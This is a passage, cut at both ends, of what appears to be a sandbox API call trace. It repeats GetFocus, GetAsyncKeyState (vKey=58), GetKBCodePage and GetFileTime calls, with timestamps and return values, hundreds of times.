lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.836] GetFocus () returned 0x0 [0246.836] GetAsyncKeyState (vKey=58) returned 0 [0246.836] GetKBCodePage () returned 0x1b5 [0246.836] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.836] GetFocus () returned 0x0 [0246.836] GetAsyncKeyState (vKey=58) returned 0 [0246.836] GetKBCodePage () returned 0x1b5 [0246.836] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.837] GetFocus () returned 0x0 [0246.837] GetAsyncKeyState (vKey=58) returned 0 [0246.837] GetKBCodePage () returned 0x1b5 [0246.837] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.837] GetFocus () returned 0x0 [0246.837] GetAsyncKeyState (vKey=58) returned 0 [0246.837] GetKBCodePage () returned 0x1b5 [0246.837] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.837] GetFocus () returned 0x0 [0246.837] GetAsyncKeyState (vKey=58) returned 0 [0246.837] GetKBCodePage () returned 0x1b5 [0246.837] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.837] GetFocus () returned 0x0 [0246.837] GetAsyncKeyState (vKey=58) returned 0 [0246.837] GetKBCodePage () returned 0x1b5 [0246.837] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.837] GetFocus () returned 0x0 [0246.837] GetAsyncKeyState (vKey=58) returned 0 [0246.837] GetKBCodePage () returned 0x1b5 [0246.837] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.837] GetFocus () returned 0x0 [0246.837] GetAsyncKeyState (vKey=58) returned 0 [0246.837] GetKBCodePage () returned 0x1b5 [0246.837] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.837] GetFocus () returned 0x0 [0246.837] GetAsyncKeyState (vKey=58) returned 0 [0246.837] GetKBCodePage () returned 0x1b5 [0246.837] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.837] GetFocus () returned 0x0 [0246.837] GetAsyncKeyState (vKey=58) returned 0 [0246.837] GetKBCodePage () returned 0x1b5 [0246.837] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.837] GetFocus () returned 0x0 [0246.837] GetAsyncKeyState (vKey=58) returned 0 [0246.837] GetKBCodePage () returned 0x1b5 [0246.837] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.838] GetFocus () returned 0x0 [0246.838] GetAsyncKeyState (vKey=58) returned 0 [0246.838] GetKBCodePage () returned 0x1b5 [0246.838] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.838] GetFocus () returned 0x0 [0246.838] GetAsyncKeyState (vKey=58) returned 0 [0246.838] GetKBCodePage () returned 0x1b5 [0246.838] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.838] GetFocus () returned 0x0 [0246.838] GetAsyncKeyState (vKey=58) returned 0 [0246.838] GetKBCodePage () returned 0x1b5 [0246.838] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.838] GetFocus () returned 0x0 [0246.838] GetAsyncKeyState (vKey=58) returned 0 [0246.838] GetKBCodePage () returned 0x1b5 [0246.838] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.838] GetFocus () returned 0x0 [0246.838] GetAsyncKeyState (vKey=58) returned 0 [0246.838] GetKBCodePage () returned 0x1b5 [0246.838] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.838] GetFocus () returned 0x0 [0246.838] GetAsyncKeyState (vKey=58) returned 0 [0246.838] GetKBCodePage () returned 0x1b5 [0246.838] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.838] GetFocus () returned 0x0 [0246.838] GetAsyncKeyState (vKey=58) returned 0 [0246.838] GetKBCodePage () returned 0x1b5 [0246.838] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.838] GetFocus () returned 0x0 [0246.838] GetAsyncKeyState (vKey=58) returned 0 [0246.838] GetKBCodePage () returned 0x1b5 [0246.838] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.838] GetFocus () returned 0x0 [0246.838] GetAsyncKeyState (vKey=58) returned 0 [0246.839] GetKBCodePage () returned 0x1b5 [0246.839] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.839] GetFocus () returned 0x0 [0246.839] GetAsyncKeyState (vKey=58) returned 0 [0246.839] GetKBCodePage () returned 0x1b5 [0246.839] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.839] GetFocus () returned 0x0 [0246.839] GetAsyncKeyState (vKey=58) returned 0 [0246.839] GetKBCodePage () returned 0x1b5 [0246.839] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.839] GetFocus () returned 0x0 [0246.839] GetAsyncKeyState (vKey=58) returned 0 [0246.839] GetKBCodePage () returned 0x1b5 [0246.839] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.839] GetFocus () returned 0x0 [0246.839] GetAsyncKeyState (vKey=58) returned 0 [0246.839] GetKBCodePage () returned 0x1b5 [0246.839] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.839] GetFocus () returned 0x0 [0246.839] GetAsyncKeyState (vKey=58) returned 0 [0246.839] GetKBCodePage () returned 0x1b5 [0246.839] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.839] GetFocus () returned 0x0 [0246.839] GetAsyncKeyState (vKey=58) returned 0 [0246.839] GetKBCodePage () returned 0x1b5 [0246.839] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.839] GetFocus () returned 0x0 [0246.839] GetAsyncKeyState (vKey=58) returned 0 [0246.839] GetKBCodePage () returned 0x1b5 [0246.839] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.839] GetFocus () returned 0x0 [0246.839] GetAsyncKeyState (vKey=58) returned 0 [0246.839] GetKBCodePage () returned 0x1b5 [0246.839] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.839] GetFocus () returned 0x0 [0246.839] GetAsyncKeyState (vKey=58) returned 0 [0246.840] GetKBCodePage () returned 0x1b5 [0246.840] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.840] GetFocus () returned 0x0 [0246.840] GetAsyncKeyState (vKey=58) returned 0 [0246.840] GetKBCodePage () returned 0x1b5 [0246.840] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.840] GetFocus () returned 0x0 [0246.840] GetAsyncKeyState (vKey=58) returned 0 [0246.840] GetKBCodePage () returned 0x1b5 [0246.840] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.840] GetFocus () returned 0x0 [0246.840] GetAsyncKeyState (vKey=58) returned 0 [0246.840] GetKBCodePage () returned 0x1b5 [0246.840] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.840] GetFocus () returned 0x0 [0246.840] GetAsyncKeyState (vKey=58) returned 0 [0246.840] GetKBCodePage () returned 0x1b5 [0246.840] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.840] GetFocus () returned 0x0 [0246.840] GetAsyncKeyState (vKey=58) returned 0 [0246.840] GetKBCodePage () returned 0x1b5 [0246.840] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.840] GetFocus () returned 0x0 [0246.840] GetAsyncKeyState (vKey=58) returned 0 [0246.840] GetKBCodePage () returned 0x1b5 [0246.840] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.840] GetFocus () returned 0x0 [0246.840] GetAsyncKeyState (vKey=58) returned 0 [0246.840] GetKBCodePage () returned 0x1b5 [0246.840] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.840] GetFocus () returned 0x0 [0246.840] GetAsyncKeyState (vKey=58) returned 0 [0246.840] GetKBCodePage () returned 0x1b5 [0246.840] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.840] GetFocus () returned 0x0 [0246.840] GetAsyncKeyState (vKey=58) returned 0 [0246.841] GetKBCodePage () returned 0x1b5 [0246.841] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.841] GetFocus () returned 0x0 [0246.841] GetAsyncKeyState (vKey=58) returned 0 [0246.841] GetKBCodePage () returned 0x1b5 [0246.841] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.841] GetFocus () returned 0x0 [0246.841] GetAsyncKeyState (vKey=58) returned 0 [0246.841] GetKBCodePage () returned 0x1b5 [0246.841] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.841] GetFocus () returned 0x0 [0246.841] GetAsyncKeyState (vKey=58) returned 0 [0246.841] GetKBCodePage () returned 0x1b5 [0246.841] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.841] GetFocus () returned 0x0 [0246.841] GetAsyncKeyState (vKey=58) returned 0 [0246.841] GetKBCodePage () returned 0x1b5 [0246.841] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.841] GetFocus () returned 0x0 [0246.841] GetAsyncKeyState (vKey=58) returned 0 [0246.841] GetKBCodePage () returned 0x1b5 [0246.841] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.841] GetFocus () returned 0x0 [0246.841] GetAsyncKeyState (vKey=58) returned 0 [0246.841] GetKBCodePage () returned 0x1b5 [0246.841] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.841] GetFocus () returned 0x0 [0246.841] GetAsyncKeyState (vKey=58) returned 0 [0246.841] GetKBCodePage () returned 0x1b5 [0246.841] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.841] GetFocus () returned 0x0 [0246.841] GetAsyncKeyState (vKey=58) returned 0 [0246.841] GetKBCodePage () returned 0x1b5 [0246.841] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.841] GetFocus () returned 0x0 [0246.841] GetAsyncKeyState (vKey=58) returned 0 [0246.842] GetKBCodePage () returned 0x1b5 [0246.842] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.842] GetFocus () returned 0x0 [0246.842] GetAsyncKeyState (vKey=58) returned 0 [0246.842] GetKBCodePage () returned 0x1b5 [0246.842] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.842] GetFocus () returned 0x0 [0246.842] GetAsyncKeyState (vKey=58) returned 0 [0246.842] GetKBCodePage () returned 0x1b5 [0246.842] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.842] GetFocus () returned 0x0 [0246.842] GetAsyncKeyState (vKey=58) returned 0 [0246.842] GetKBCodePage () returned 0x1b5 [0246.842] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.842] GetFocus () returned 0x0 [0246.842] GetAsyncKeyState (vKey=58) returned 0 [0246.842] GetKBCodePage () returned 0x1b5 [0246.842] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.842] GetFocus () returned 0x0 [0246.842] GetAsyncKeyState (vKey=58) returned 0 [0246.842] GetKBCodePage () returned 0x1b5 [0246.842] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, 